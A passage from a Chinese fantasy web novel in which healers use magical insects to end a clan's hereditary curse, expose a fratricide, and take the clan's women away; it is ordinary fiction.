大概就像站在摇晃的秋千板上?石映心理解地点点头,又看向屠芜,“那你呢,屠芜?” 屠芜两只手轻轻包裹着青铜盒子,抬眼朝她一笑: “我想我已经拥有了成为罪人的勇气。” 第246章 经金虫推荐,几人来到了一族人家中。 开门的是一个老婆婆,花白的头发苍老的脸庞,瞧着精疲力尽,偏偏这样的模样,怀中还抱着一个两三岁的孩子,总是不安分地动弹着,手上大幅度挥舞着面纱,每一下动静感觉都要将这位老婆婆给折倒。 她是认得屠家兄妹的,因此用长辈的客气打了招呼,但没再说一句,就被怀中折腾的小孩累得上气不接下气,可一把他放下来,那孩子就哭啊;只好又将孩子抱起来,但一抱起来他又折腾,老婆婆几乎说不了一句整话。 石映心耐心地没等多久,就将那小孩搞晕了。 老婆婆见孙子突然睡去,竟也没觉得诧异,而是长长地松了口气,朝三人露出一个实在难看的笑来:“你们三位是有什么事啊?” 屠芜道:“王奶奶,您也知道我和哥哥是药神谷的弟子,我们这次回来是有个重要的事……其实我们炼制出了可以治愈螺族女子怪病的解药。” “什么?”王奶奶浑浊的眼珠子猛地迸发 出光亮,她激动地整个人都在发抖,看看屠芜又看看屠莱,“你、你们说的都是真的?真的有能治好那折磨人的怪病的解药?” 屠莱斩钉截铁道:“有。” “太、太好了……”她实在太想相信了,因此就这么相信了,如果不是抱着小孩,估计还要再激动一些,“老祖宗显灵、老祖宗显灵啊!我们张家终于不用再受那婆娘的折磨了!老祖宗显灵啊!!” 石映心问:“关你老祖宗什么事?是屠芜她们炼制的解药。” 王奶奶又哭又笑道:“是啊,是受老祖宗的庇护才得的解药啊!” 石映心:OO 她一手一个:“我们走。” 王奶奶见她们要走,急得跳起来,但抱着小孩跳不远,连门口的门槛都跳不过去:“哎呀你们上哪去啊?上哪去啊?别走啊!” “算了,”屠莱止住脚步,给石映心使眼色,“也许对王奶奶来说,我们也不算在做好事。” 石映心转念一想也是哦:“好。” 王奶奶不知道自己说错了什么,见三人去而又返,她狠狠松了口气,有眼力见地不敢再说,只紧忙将人往屋里头引,一边引一边喊道:“阿芳,阿芳,你这个懒婆娘,还不快点出来迎客!” 屠芜:“阿芳是谁?” 王奶奶:“还能是谁?我那好吃懒做又得了怪病的儿媳妇!娶到她真是我们张家上辈子缺德啊!”余音拖拉着悲怆。 听得出来王奶奶对她的儿媳妇非常不满意了。 只是不管王奶奶怎么呼唤她的儿媳妇,屋里始终没有一声回应,石映心三还疑心这位阿芳是不是不在家;但奇怪的是,明明没人回,王奶奶也没有放弃喊叫,喊道后边真是忘了情着了迷了,估计完全忘记自己还抱着难哄的孙子呢。 甚至也没察觉为何自己这么叫孙子还没醒。 总之就这么跟着一路叫儿媳妇的王奶奶进了屋里,刚进院子又听到里头响起狗叫,“汪汪汪”的声儿特别凶猛,和王奶奶的“阿芳阿芳”交互响彻,简直两岸猿声啼不住。 屠莱瞥了眼靠在王奶奶肩膀上的孙子,心说这会再加上这一个那还得了;转而又想,要不是某人施法恶作剧,估计平时这张家就是这么闹腾。 老人叫,小孩叫,狗叫……哈哈。 石映心没瞥见屠莱后脑勺前边嘲讽的笑容,她只觉得这狗也吵死了,走进院子后很快便看到了那只狗,边上似乎还有一个男人,但她暂时没心情理会对方,只是转动手指灵光一闪——把那狗也变哑了。 这狗倒也有眼力见,叫了几声发现没声儿,居然嗅到了危险的气息,狗眼溜了溜那三个不速之客后,呜呜咽咽了几声,缩起脖子夹着尾巴跑里头去了。 “……怎么回事?”这时候,站在边上人仗狗势的男人说话了,“老王今儿怎么无精打采的?娘,你早上给喂饭了吗?” 王奶奶冷哼一声:“问你媳妇!什么都要你老娘做,娶媳妇有什么用?” 男人也不知多大年纪,头发半百,脸色枯黄面色暗淡,瞧着非常没精打采,说话气儿还没他老娘有中气呢,闻言嘟囔道:“还是要多喂点肉……吃肉有劲儿,娘,下次你给老王多喂点肉。” “知道了!我能亏待得了它吗!”王奶奶更大声了一些,“你媳妇呢,叫你媳妇出来!” 既然狗叫老王,那男人就叫小王好了。 小王的小眼睛往屋里瞥了眼,语气有些冷淡:“还是老样子,吃饱了就在屋里睡觉,叫不动她的。” 王奶奶的鼻孔里好用力地哼出一口长气,带着一声哼笑:“快叫她出来,告诉她,她的怪病有的治了!” “什么?”小王猛地抬起眼来,老树皮脸上冒出了新芽,“娘,你说什么?” 王奶奶大声地:“她的怪病有的治了!” 她指了指后边的三人:“屠家的这两个孩子你还记得?去药神谷当仙人的那两个!她们仙人就是有本事,说是找到了治怪病的办法噶!” 其实小王刚才在老王对着三人叫的时候就在狗身后默默打量过三人,但也不知他是琢磨了什么,方才也没打招呼也没干啥,仿佛当三人不存在一般,像个躲在大人身后不需在意礼数的小孩……那老王也没法教他礼数啊,它只会汪汪汪。 这会听王奶奶这么说,他才给了三人一个客气的正眼,连忙道:“多谢仙人、多谢仙人!太好了,太好了!我们王家有救了!” 这么说完,转身一边大喊一边跑进了屋内:“阿芳,阿芳!阿芳——” 三位仙人忽然觉得阿芳应该挺烦的吧。 她们跟着小王和王奶奶去了堂屋等待,没过多久就见小王从边上的卧房里拉出来一个打着哈欠的女人,一出来她就姿态懒散地往边上的位置一坐,软骨头似的慵懒。 石映心瞅瞅男人,又瞅瞅女人,她看到男人的时候就认出了他们是先前去找过金舍嬷求助的那对夫妻。 阿芳倒挺有礼貌哈,见到客人还打招呼呢:“呦,这不是金舍嬷的两个出息孩子吗?怎么今个有时间来我们老王家了?娘,你也不知道给她们倒茶上点心,显得咱家多没礼数啊!” 王奶奶瞪着眼睛看她:“我抱着你儿子腾不出手!” “哦,”阿芳又推了把边上的小王,“听到没,你娘抱着你儿子腾不出手,让你去倒茶上点心!” 小王:…… “不是你儿子吗?你怎么不抱?” “啧!”阿芳嗔怪道,“难得你不怕我突发怪病伤了孩子?” 小王:“那你去倒茶。” “啧!难得你不怕我突发怪病伤了茶壶?” 小王:…… 他只好扭捏地站起来,看向他娘:“茶在哪?” 王奶奶翻了个白眼没说话。 屠芜真是看不下去了,主动道:“不必客气了,我们直接说正事吧。” 小王利索地坐下来:“好。” “什么正事啊?”阿芳语气懒散,但眼神已经从困顿中苏醒,机灵地在她婆婆和丈夫身上打量,“居然还有我能听的份?” 屠芜直言:“正是有关你身上怪病一事。” 阿芳挑起秀眉:“关于我的怪病?” “不错,”屠芜说,“我们药神谷已经炼制出了能解决螺族女子身上怪病的解药。” 阿芳并没有显而易见的开心,反而是诧异地张了张嘴,一开始还失声了:“……真的假的?” “自然是真的……” 阿芳却警惕道:“没有什么后遗症吧?你们这药给其他族人吃过了吗?” 屠芜实诚道:“没有,你们是第一家。不知你可愿意一试” “试啊!当然要试啊!”不等儿媳妇发言,王奶奶先激动起来,“能治病难道不治吗?就是有后遗症也得试试啊!要不是我大把年纪已经不来月事了,我也试!” 螺族女子大部分怪病的表现形式为来月事时的阵痛,不来月事后便没了。当然这只是她们被诓骗的视角的看法。 屠芜猜想真相应是:男子随着年纪增大身子衰弱,体内的阳盛之气也逐步减少,再加上可能房·事行得少了的原因,所以转移到女子身上的病症反应会变少。 简而言之:男的身体不行了,没力气发疯。 话又说回来,屠芜打量了小王一眼,看他这状态,明显虚得很,估计阳盛之气少得可怜;按理来说转移到阿芳身上的病症也不会太多才是,可王奶奶却这么哭诉着: “真是可怜了我老王家啊!娶了个病重的女人!别人家媳妇也就来月事时疼一下,她偏偏三天两头就要发疯发病!不能累不能打不能骂,不然发起病来六亲不认,打丈夫打儿子甚至连我这老太婆也难逃毒手啊!!” “要不是我老伴去得早,见了这儿媳妇怕是要死不瞑目!呜呜呜也就我们老王家心善,摊上这婆娘还好端端地待她,搁旁人家早将她休了!” 真是闻者伤心听者落泪的悲惨遭遇啊。 屠芜:……真的假的? 阿芳听罢,挠了挠耳朵,啧了一声道:“我说娘啊,你这话我听得都会背了。怎么你不听听我的话呢?我早说过了,金舍嬷说是你儿子不够男人才压不住我的疯病,别人家媳妇不发疯病是因为她们嫁了个真男人!” “还有什么不休了我,那不是家里没钱娶不起新媳妇吗?村里二婚的男人也不少,但凡你省点喂狗的钱也不至于这些年还没攒点。不过啊,”她说到这眯眼一笑,“要真把我休了,别怪我把你儿子不够男人一事抖出去哈。” 王奶奶:…… 看她大喘气又哑口无言的模样真是要气死了。 第247章 “好!”瞪儿媳妇半天,王奶奶才想起来现在面前就有一根救命稻草呢,“我今个就治了你的疯病!看你以后还怎么撒泼打滚——” 阿芳冷笑一声:“好啊,三位仙人,敢问这解药需要多少银两?兴许我们老王家压根买不起!” “你!”王奶奶斩钉截铁道,“就是倾家荡产老娘也要买!” 她看向三位仙人,非常有决心的模样:“要多少?你们尽管开口!” 三人其实压根没想到要钱这茬呢,但对方一提出来……屠莱还真想狮子大开口:“咳,看在都是螺族人的份上,那就收你们……” 屠芜适时打断她哥:“不收钱。” 阿芳:OO? 王奶奶:!! 屠莱:唉。 赶在三人有震惊之外的反应之前,屠芜及时补充道:“因为这药是有后遗症的,所以不收钱。” 居然是严重到“不能收钱”程度的后遗症吗?阿芳一愣,问道:“是什么后遗症?” 屠芜说:“需要有人转移你的病症。” 阿芳二人:“转移病症?” “不错。”屠芜微微颔首,“这怪病无法被完全根治,只能从一人身上转移到另一人身上,并且另一人必须是与你有血肉之亲的男子……也就是你的丈夫。” 阿芳三愣,下意识看向她丈夫,后者显然也听愣了。 还是王奶奶最先反应过来:“这、这是什么意思啊?那转移到我儿子身上会怎么样?” 屠芜毫不掩饰道:“每日都会来月事,并且至此以后不能人道。” 这话一出,全场寂静。 打破沉寂的是阿芳,她忽然发出爆笑,并且是完全停不下来的那种,在几人各有心思的注视下她简直笑弯了腰,若不是还坐在椅子上,怕是都要笑到在地上打滚。 与她形成鲜明对比的是边上的小王,脸色苍白到往地上一趟能装死人了。 王奶奶大概是觉得阿芳在幸灾乐祸,庆幸自己的疯病不用被治好了,这想法让她气急败坏,她看了眼在自己怀中睡得像死猪一般乖巧的可爱孙子,做出了一个违背祖宗的决定:“好!” 这一声毅然决然到在阿芳的笑声中脱颖而出:“反正我们老王家已经有了后继之人,为了治病,为了我们老王家的好日子——老娘做主答应了!” 说罢,她看向小王,字字泣血:“好儿子,这回你就听老娘的!每月来月事也就是几日的功夫,女人都能受的苦难道你受不了吗?至于不能人道……反正你已经生了个儿子,你爹九泉之下不会怪罪你的!但这个疯婆娘……这个疯婆娘的病治不了,我们以后的日子怎么过啊!” 她儿子青白的脸抬起来又落了下去,以把头埋进胸口的沉默做默认。 见儿子答应了,王奶奶也是松了口恶气,看向儿媳妇道:“笑吧,你也就这会功夫笑了!” 阿芳渐渐止住了疯狂笑意,擦去眼角的泪水,朝三位仙人问道:“能治病我当然高兴,不过在此之前有个问题。” 屠芜叹了口气:“请说。” 阿芳慢慢地扬起一个和方才截然不同的笑来:“若我的丈夫本就不能人道了,还能转移我的病症吗?” 这话一出,全场又静。 王奶奶哑口无言地掉了下巴,合不上的嘴直勾勾地对准了她儿子的方向,不可置信的模样无声又显然。 不只是王奶奶,除了阿芳幸灾乐祸地在憋笑外,其余三个外人也在好奇地打量着他,似乎希望光用眼睛看的方式就能辨别阿芳话里的真假。 而当事人小王并未回应任何一人的视线,他只是垂着脑袋,漠然看着自己的鞋,因为是新的,所以上头老王的泥脚印非常明显……它总是喜欢踩他的鞋,好在娘始终会帮他做新的。 在阿芳憋笑声越发明显的时候,屠莱说话了,他先是“咳咳”了一下,将大伙的思绪从沉默中扯回来,接着毫不留情地宣判道:“如果令郎是这样的情况……怕是转移病症之法行不通了。” 王奶奶猛然回过神来,整个人仿佛被噩耗推了一把,居然踉跄了一下,好险抱着孙子坐在了椅子上,这才没摔着。 大喜后又大悲:“真……真的没有别的办法了吗?” 屠莱:“嗯……其实还有一个办法。” 大悲后又大喜:“什么办法?快请说!” 屠莱:“令郎既然不行,令孙倒是可以的。不过后遗症就如我们方才所说……” 王奶奶衰老瘦弱的身躯差点没抗住这大喜大悲又大喜大悲的心情,她在震惊过后紧紧地抱住了怀中的孙子,声音嘶哑地喊道:“你在胡说什么,他只是个孩子啊!” “对,”屠莱点点头,“所以不必担心,等他来月事大概要等十二三以后……” 王奶奶:……这是重点吗!? 她又气又无语又无奈,一时居然说不出话,坐在那紧紧搂着大孙子大喘气。 “哈哈哈哈哈哈!哈哈哈哈哈!”对这时候的阿芳来说,憋笑完全是酷刑了,她实在是忍不住又笑了起来,一边笑一边擦眼泪道,“那、那要是这样,王家不就彻底绝后了?哈哈哈哈……” 屠莱瞥了眼王奶奶和小王煞白的脸色,耸了耸肩道:“你们自己看着办。” 王奶奶颤抖着嗓子问:“就、就没有别的办法了?” 屠芜:“没有了。” “……真的没有了?” 屠芜:“这是唯一的办法。” 王奶奶沉默了,小王垂着脑袋,阿芳笑得开怀;再加上睡得死猪一般的小孩儿,一家人倒是其乐融融,各有各的难处和把柄。 窗外传来日光下开朗的鸟叫声,叽叽喳喳好不欢快。 这时候,一直看戏的石映心开口道:“王奶奶,要不就将阿芳的病症转移给你孙子吧,她已经为这病苦了这么多年。” 王奶奶下意识恶狠狠地瞪了她一眼,忽然反应过来对方的身份,连忙又落下气势来:“到底是谁受苦啊?她发病发疯的时候苦的是我和我儿子啊!” 石映心:“她发病也不是自愿的,是因为生病。” 阿芳抿住唇忍着笑,应和道:“是啊是啊,还是姑娘家体谅我!” “那谁体谅我老王家啊!”王奶奶哭天嚎地道,“她的病就该她忍受,凭什么要我儿我孙来替她受苦!?对,不治了!不治了——难道真要我孙子受这样的苦吗?不治了!” 说到后边语气坚定,完全下定了决心。 石映心眨了眨眼睛:“你是这么想的吗?” 王奶奶破罐子破摔道:“谁得罪谁受着,本就是这样的道理!” 石映心又看向阿芳:“你也这么想?” 阿芳无所谓一耸肩:“我早已习惯了这怪病,爱咋咋地吧。” “好。”石映心了然颔首,看向屠家兄妹道,“那么就按照她们的想法来好了,谁的罪谁受着。” 二人当然理会了她的意思,屠芜道:“既然这样,我们可以用仙法暂缓阿芳的病情,不过大概也就……一两月的效用,并且作用不大。” “一两个月?”王奶奶还在无法治病的遗憾中,这么短暂的效果完全不能让她高兴一点,她瘫在扶手椅上像泄了气的皮囊,紧紧捂着孙子仿佛能堵住自己漏气,“好好好,聊胜于无——” 屠家兄妹于是对视一眼,反手变出两个青铜盒子,一只蛊虫送入阿芳体内,一只送入正在沉睡中的王奶奶孙子体中,二人都没有特别的感觉,但蛊虫很快就被回收了。 阿芳是见到二人动作的,低头打量了自己一下,奇怪道:“这就好了?” “好了。”屠芜收起盒子道,“既然这样,我们就先走了。” 阿芳居然主动站起来:“我送三位。” 王奶奶抱着孙子斜了儿媳妇一眼,冷哼道:“还真转性了?呵,一个月?看我怎么治你……” 阿芳就当没听见。将三人送到门口时,她才小声问了句:“三位仙人,可我一点感觉都没有。” 屠芜笑道:“你本就是装的,自然毫无感觉。” 阿芳也笑了,狡黠道:“果然瞒不过你们,不错,其实我只是脾气不好罢了,借着怪病发挥呢。都说螺族女人身上有怪病,我十九就嫁了人,还没到怪病发作的时候,因此也不知道是发病的我讨人厌些,还是发脾气的我更坏。” 说到这她又想了想:“不过来月事的时候确实疼痛难忍,你们帮我治了,难道这个月就不疼了?” 屠芜觉得就小王那样,传染的病症也不会太严重,应该只是阿芳本身问题:“或许是你身子太虚,来月事时可多吃点红肉试试。” “哦,还有这说法?”阿芳哼了一声,“可这母子俩宁可给狗喂肉也不舍得给我吃点。” 石映心:“你发疯抢不就是了?” 阿芳看向她,叹了口气道:“你说得也是,大概是我自小习惯了吃素的吃剩的,懒得抢了,更何况还是和狗计较,想想我也是蠢……话说回来,我见你们方才确实施了仙法,有何用呢?” “这个啊。”屠芜尽量自然地笑了一下,“你过两日便知道了。” 阿芳虽疑惑但也没多问,只是打量着二人,用非常欣赏的口吻道:“你们不愧是金舍嬷的孩子,和舍嬷一样厉害。” 屠家兄妹一愣,不知为何对方突然提到自家娘亲:“娘?” 阿芳笑着说:“是啊,她也一眼看出我是装的病,还很支持我来着;我俩勾结合作,骗了她们老王家不少钱呢哈哈哈哈哈!” 屠家兄妹:…… 不知道为什么居然也不是很惊讶呢。 第248章 她们接下来又去了不少人家,情况大致相同,不过就没王家那么有意思了。因为绝大部分的已婚女子都是传统的螺族女人模样,贤惠朴实,温柔善良,她们的病症并未对家人产生多大影响;因此在说明了后遗症后,三人都会收到拒绝。 她们并不意外,熟练地留下挑拨离间的话后就果断离开: “她为你们家生儿育女操劳家务这么多年,你连为她承受一些痛苦都不愿意吗?” 若是已有孩子,会得到这样的反驳:“这本就是她的病,转到我身上来算什么事?凭什么!” 若是没有孩子,那借口就更加正当了:“不行啊,虽然我也可怜心疼我娘子,但我们家不能绝后啊!” 基本不出这个套路,一点新意没有。 三人也不多说,只借着“暂缓病情”的名义将蛊虫送入这些夫妻以及她们儿子的体内:一为阻断病症转移的途径;二为让这些男人不能人道。 就这么忙忙碌碌了两天半,千辛万苦地将村里所有人家都走遍了。这晚她们大功告成回家的时,毫不意外地看到了在门口举着火把守着的吴家人。 见三人回来,吴大领头走上前来,后边跟着一大群人瞧着非常有气势。他似乎是想客气地说话,不过这火光打得不好,照得他面色狰狞:“三位仙人这几日四处在城内奔波,真是有劳你们了。” 屠莱打了个哈欠:“你也知道我们辛苦?有话快说。” 吴二在边上迫不及待地质问道:“听说你们药神谷研制出了能治愈怪病的解药,你们这两日一直在城中游走帮族人治病……这么大的事怎么不先告诉我们吴家,难道是看老族长去世了,就不把我们三兄弟放在眼里?” 屠莱:“是啊。” 屠芜:“为什么要把你们放在眼里?” 吴四嚷道:“我们大哥马上就是新族长了!” “那又如何?”屠芜歪了歪脑袋,“我们是奉药神谷的命令行事,你们大哥还能管到药神谷头上来?” 吴家三兄弟:…… 拿药神谷压上来的话,那他们真抬不起头了。 吴大只好赔了个笑,努力客气道:“不敢不敢,不过不管怎么说,我们身为螺族的族长,直接管辖族中大小事务……自然操心这事关全族怪病的大事。不知三位可有时间与我们详谈?” “有啊。”屠莱道,“不过你都说是关乎全族的大事了,那就当着全族人的面谈吧。” 吴二:“你什么意思?” 屠莱:“听不懂算了。” “你!” “行了行了,”吴大拉住吴二,朝屠莱道,“好,那就明早辰正在议事堂见,我们会开放大堂,让所有族人都可来旁听。” 屠家兄妹对视一眼,颔首道:“那就这么说定了。” 等看着吴家一坨人举着火把远去,三人才进了屋中。 外头这么热闹,金虫当然还没睡,坐在院中的摇椅上姿态悠哉地晃来晃去,望着天空感叹道:“今晚没什么月色,尽是乌云。” 屠芜抬头看了看天,月亮在乌云后边,只透出暗淡的光,将云彩照出异色;她收回视线看向金虫道:“娘,行李可都收拾好了?” “急什么嘛。”金虫用手扫了扫眼前的花圃,“这不是等你们将我这些心血收好?” 屠莱看了眼满院子的花草,伸手一挥,一阵灵光闪过,花圃尽数被他收入囊中,只剩下空白的石板地;原先生机勃勃的院子眨眼间变得荒废空荡,金虫似乎愣了一下,不太适应地环顾四周了一会,叹了口气,站起来道: “有仙法还挺方便哈。” 屠芜笑道:“娘你若是感兴趣,等我们离开螺城后,不如也拜入药神谷?我和哥哥都有修仙天赋,你是我们娘,定是也有的。” 金虫呵呵笑了一声,脸色有些古怪:“开什么玩笑,我这大把年纪了,还要和一群小孩一起上课?” 屠莱耸了下肩:“这有什么,你不尴尬尴尬的就是别人。” 金虫噎了一下,眉头一皱又想到了旁的:“可到时算辈分我就是你们的师妹了,这像什么话!” 屠家兄妹对视一眼,无语又无奈道:“这不是重点吧” “不是吗?”金虫挥挥手,打了个哈欠道,“不和你们说了,我要睡了,也不知道是托了谁的福,明早天没亮就要起来跑路喽。” 屠家兄妹:…… 见金虫进了屋内,二人便想和石映心也道晚安,结果转头发现她在左顾右盼着,似乎在找什么。 屠芜问怎么了,石映心左看看:“我前几日丢了仙尊的清单册子,以为是丢在了院中,但一直忘了来找,现在你们将这些花圃都收起来了也没看见,难道我不是丢在这里?” 屠莱问她是什么时候丢的,石映心右看看:“好几日前……你们醒来之前。” “丢了这么久吗?”屠莱一挑眉,“怎么前几日不来找?” 石映心目露疑惑:“有来找过,但只是在外边简单看看,没看见,我以为是不小心丢到花圃中了,因此觉得麻烦,便没想再找。可现在你们将花圃都收起来了,还是没看见,难道不是丢在这里?” 金虫种的这些花草大多数都有毒,里头还有不少虫蛇,自然是不能随意进去翻找,她也不想麻烦金虫,反正只是一本小册子而已。 屠芜看向她哥:“会不会是你一起收起来了?” “我找找。”屠莱话音一落便将灵识投入储物空间中,面色走神了一会后就回来了,摇摇头道,“没有。” 石映心想了想道:“算了,可能是落在房间里了。没关系,不是要紧的东西,我师兄他们都有。” 听她这么说,二人便不再在意,简单叮嘱了明日的事宜后就回屋休息了。 隔日一早……其实还没到早上,天未亮时屋中就亮起了灯,石映心和屠家兄妹一同将昏迷中的明易三人和打着瞌睡的金虫,以及全屋的家当一同打包起来,偷摸摸地御物飞行运送了出去,来不及安顿好就赶忙飞回来了。 屠芜看着变得空荡的家,一时有些感慨:“虽然每年回来也没待几日,但毕竟是娘和我们生活了这么多年的地方……就这么离开了,还有些不舍呢。” 石映心宽慰她:“何必不舍呢,接下来的日子更长。” 屠芜朝她一笑:“不错,只有离开这里,我们一家三口才能过上更好的日子。” 辰正,三人准时出现在螺城议事堂,此时堂内堂外已经围满了族人。不知是因为吴家人的号召还是因为怪病,亦或是鲜少有这样开放议事堂让族人旁听的时候,因此来的人特别多,基本是拖家带口的,个个脸上都有凑热闹的好奇 。 见三人来了,吴大也不多说,随意寒暄了几句便切入了正题,指着外头一大堆人道:“现在族人们都在这了,就请三位解释一下解药的事吧。” 屠莱道冷淡道:“我们这两日已经走遍了城内每一户人家,大家都知道了。” “什么叫都知道了?”吴二跳起来,“你可没来过我们吴家!” “是啊,”吴四立刻帮腔道,“你们三人行事太古怪了,这么重要的事难道不应该先和我们族长商量,再去告知族人吗?可你们刻意略过我们吴家,偷摸着把事情都干了,怕不是担心被我们看出什么阴谋诡计吧!” 他这话喊得大声,显然是故意要旁人听见。毕竟对族人来说,朝夕相伴近在眼前的吴家自然比高高在上远在天边的药神谷更亲近。 果不其然,族人们纷纷议论起来: “吴四说得有理嘎。” “就是么噶,我说哪有这么好的事?” “幸好昨日没答应她们,果然有古怪……” …… 屠芜她们并不在意族人们的看法,她们今日的目的不过是揭露真相罢了,不管这些螺族人信不信:“好,既然你说到阴谋诡计,那我就顺你的意,先揭露了你们吴家的诡计!” 吴大一愣:“我们有什么诡计?” 屠芜:“正是你们三人杀了亲兄弟吴丙的诡计!” 吴家三兄弟显而易见地面色僵硬了一瞬,但很快反应过来:“喂,屠芜,你别血口喷人啊!” “有没有血口喷人,看过证据便知道了。”她话音一落,反手往地上施法,只见灵感一闪,地上便出现了一具尸体,正是死去的吴丙。 人群立刻喧嚣起来,吴四震惊道:“怎么回事,三哥的尸体怎么会在这里?我们明明已经将他下葬……” “岂能容你们轻易破坏证据?你们棺材中的尸体是假的,不信现在就可以去挖出来看看。”屠莱挥挥手,“现在躺在这的才是真正的吴丙。” 这时人群中有人喊了一声:“不对啊,这吴丙都死了这么久了,怎么尸体跟没事人似的这么新鲜?” “算你们有脑子,”屠莱哼笑一声,瞥了眼边上在交换眼神的吴家三兄弟,“因为吴丙是死于这三人的阴谋诡计,也就是族长世家传承下来不死之虫。这虫杀完人后便会溶入死者的血液之中消失不见,几乎不会留下证据;唯一的办法就是将尸体留存,看一日之后是否会腐烂发臭长尸斑……如今,吴丙的尸体就在这里,明眼人都瞧见了。” 族人们哗然。 “胡说!”吴大厉声反驳道,“什么不死之虫,全是你们杜撰的玩意!谁知道是不是出自你们药神谷!” “喂,”屠芜忽然出声,甩了甩手中的东西,“看看这是什么?” 第249章 吴四瞅了眼,立刻跳起来去扑:“我们吴家的家宝简册怎么会在你手上!” 吴大倒吸一口气,拉住弟弟咬牙道:“你——” “这可是你们亲口承认的,”屠芜狡黠一笑,“这本你们吴家的家宝简册上可记载了不死之虫这件稀罕宝贝……这是证据之一。证据之二,便是我们药神谷的辨毒草,可以辨别受害者所中之毒是否出自某种蛊虫。” 话说到这,她变出一个小木盒来:“这里边便是我们几人在罗宝山石窟中出生入死才得来材料炼制的不死之虫!吴丙是否真的死于此虫,用辨毒草一辨就知!” 吴二还嘴硬呢:“你说这是不死之虫就是不死之虫?” 屠莱瞥他一眼:“那要不翻开你们吴家的家宝简册让大伙对照着上边的图文看看?” 吴二:…… 在族人们的起哄声催促声中,屠芜用对着辨毒草施法,让其辨别了吴丙的死因是否出自不死之虫。在众人惊讶于发光的仙草和仙法之时,答案已经出现,屠芜高举发出红光的辨毒草宣布道:“这便是吴家三兄弟杀害吴丙的证据!” 族人们这才回过神来,在短暂的失声惊讶过后,人们对着吴家三兄弟发出了义愤填膺的声讨,什么“你们吴家人不配再当族长”“居然残害手足太残忍了”“怎么会有这么蛇蝎心肠的人”诸如此类。 在这些谴责声中,吴四最先忍不住反驳道:“你们这些愚民懂什么,这一切都是为了螺族!为了大局——” 吴大瞪他:“闭嘴!” “大哥!”头上被扔了烂菜的吴二也受不了了,“如今都这样了,你还想瞒什么?!” 吴大又瞪他:“闭嘴!你懂什么!” 可这三人不说,自然有人说。为了让屠芜安心说话,石映心熟练地把所有人都变成了说不了话的哑巴和动不了的木头人,在众人只能徒然地瞪大眼睛的震惊之中,只听屠芜不紧不慢道: “我想各位都很好奇吴家三人为何会做出残害亲兄弟的恶行……今日借由此事,我会告诉你们关于我们螺族千百年来的一切真相。” 【如此如此。】 【这般这般。】 故事很长,好在屠芜很会讲故事,不仅用词简练、逻辑顺畅,还绘声绘色,引人入胜,听得那些族人一个比一个沉浸其中;等故事说完了,又有如梦似幻之不真实感,不敢置信方才自己听得入迷的故事竟然是……真的。 石映心坐在一边能晒到太阳的扶手椅上,上午和煦的日光将她的双眼照得透亮。她懒散地扫过这些族人的神色,看到的都是大差不差的心情。 明明说的就是她们老祖宗的故事,但觉得置身事外; 既得利益者沉默,失去利益者也沉默,二者的沉默相似又不同,但都没有改变现状的想法和冲动。 石映心很熟悉,这样的情绪叫麻木。 而这麻木破碎在屠芜的宣布之中:“这两日我们已经走访了全族,将女人与男人之间转移病症的渠道切断,并且至此以后——上到刚出生的幼童,下到快死的老苍,所有的螺族男人都不能再传宗接代,无一例外。” “此行——” 年轻的药丹修仿佛没看见那无数双乍然变得狰狞可怖的双目,只望着大堂外明亮的日光道:“是为了就此了断怪病、结束错误,为了螺族全族幸福光明的未来着想。” 她的余音消散在日光中飞扬发光的尘埃之中。 全场寂静一片——毕竟大伙还在石映心的法术控制之中;但无人不知汹涌的波涛已经席卷了所有族人。 石映心闭上眼睛,屏蔽所有恶毒的话语。 屠芜深呼一口气,又长长地吁出,闭上嘴巴休息;屠莱适时站起来对那些向他们甩来眼刀的木头人们道:“咳咳,别太恨我们了,又不是让螺族从此断绝了血脉,这不是还有女人在吗?对了,我们马上就要离开螺族,现在想跟我们一起离开的女人可以报名……仅限女人哈。” 说罢,他随意走到一个女人前问:“大姐,你愿意和我们一起走吗?” 无法动弹的大姐只狠狠瞪着他。 屠莱没和她对视,只做作地停顿了两瞬,摸着下巴了然道:“哦~~不说话就是默认哦,行,带你走哈。” 说着就把大姐收入囊中。 旁观大姐原地消失的众族人:………… 如法炮制地收了所有女人。 屠家兄妹本是没有这样绑架螺族女人的想法的,但昨晚石映心说:“如果将这些女人留在这里,指不定会让她们受到更多的虐待,比如不信邪地想尽办法让她们怀孕之类的……我的建议是,带走所有女人,并且封闭螺城。” 这个办法的灵感来自“三足乌城”,石映心觉得这时候用非常好。 屠莱“哇”了一声,朝她竖大拇指:“你够狠。” 屠芜沉默了一会,有些自责道:“你的预想是对的,我怎么没想到这一层?太不周到了。” 石映心实话实说:“也不算是我想到的,只是亲眼见过。” “好,”屠芜很快沉重地颔首道,“一不做二不休,就这么办!” 于是事情就这么简单草率高效地决定了。 装螺族女人以及封闭螺城的宝器还是石映心从二师兄的储物袋中翻出来的,她提供了道具,接下来安顿女人等这些琐碎小事就由屠家兄妹操持,她自觉已经帮够了忙,就先带着师兄师妹回到了药神谷。 这时候单独把两个师兄放到他们房间让她有些不安心,于是就将三人放在一起,床躺不下就在地上铺了两个床铺,方便倒也方便,就是要小心踩到。 忙活完这些,石映心瘫坐在椅子上长长地吁了口气。 好累。 这段时间就没怎么歇过。 身体累就算了……她歪过脑袋看向师兄妹的方向,再次叹了口气,主要是心累。 她打算等屠家兄妹回来再去找谷主和落叶长老看看换月她们的情况,在此之前本打算就先这样歇会,谁知眼睛没闭上多久,就感到外头躁动不安的氛围,似乎药神谷发什么了什么事? 石映心本不想多管闲事,但心中隐约的不安让她觉得奇怪,似乎是直觉这事与她有些瓜葛。 而且,这种接二连三的节奏实在是…… 她靠在椅子上望着天花板放空了一会,还是站了起来。用法术封闭了屋子后打开了门,被外头猝然挤进来的日光吓了一跳,猛地想起了什么,反手变出了帷帽戴上,又换了一件掩饰的衣裳。 到了外边,乍一看谷中天朗气清、风平浪静,没有什么异样,但瞅一瞅那些过路的药神谷弟子的神色,很明显能感到她们惶惶不安的心情。 石映心随机拉住一人:“冒昧打扰师姐,我这几日外出办事,不知谷中出了何事?为何人心惶惶?” 从谷神森林进药神谷不是件容易事,因此这位路人师姐并未多疑对方的身份,只叹了口气道:“唉,其实这事谷主是不让说的,但大伙知道的也差不多了……告诉你也无妨。” “请说。” “谷神森林出事了!”路人师姐微微压低的声音中也掩盖不住她藏着些八卦好奇的担忧,“实话和你说,我得知小道消息后也不敢出去,因此不知具体是发生了什么,但这事惊动了谷主,肯定不是小事!” 石映心一愣:“谷神森林?” 她原先的猜测是罗宝山石窟……毕竟谷神森林与罗宝山石窟对望呼应,而药神谷就在森林之中,若是石窟出了事,药神谷有所感应也是正常的……但现在是谷神森林出了事吗? 石映心回想起大师兄她们说过的有关谷神森林的信息: 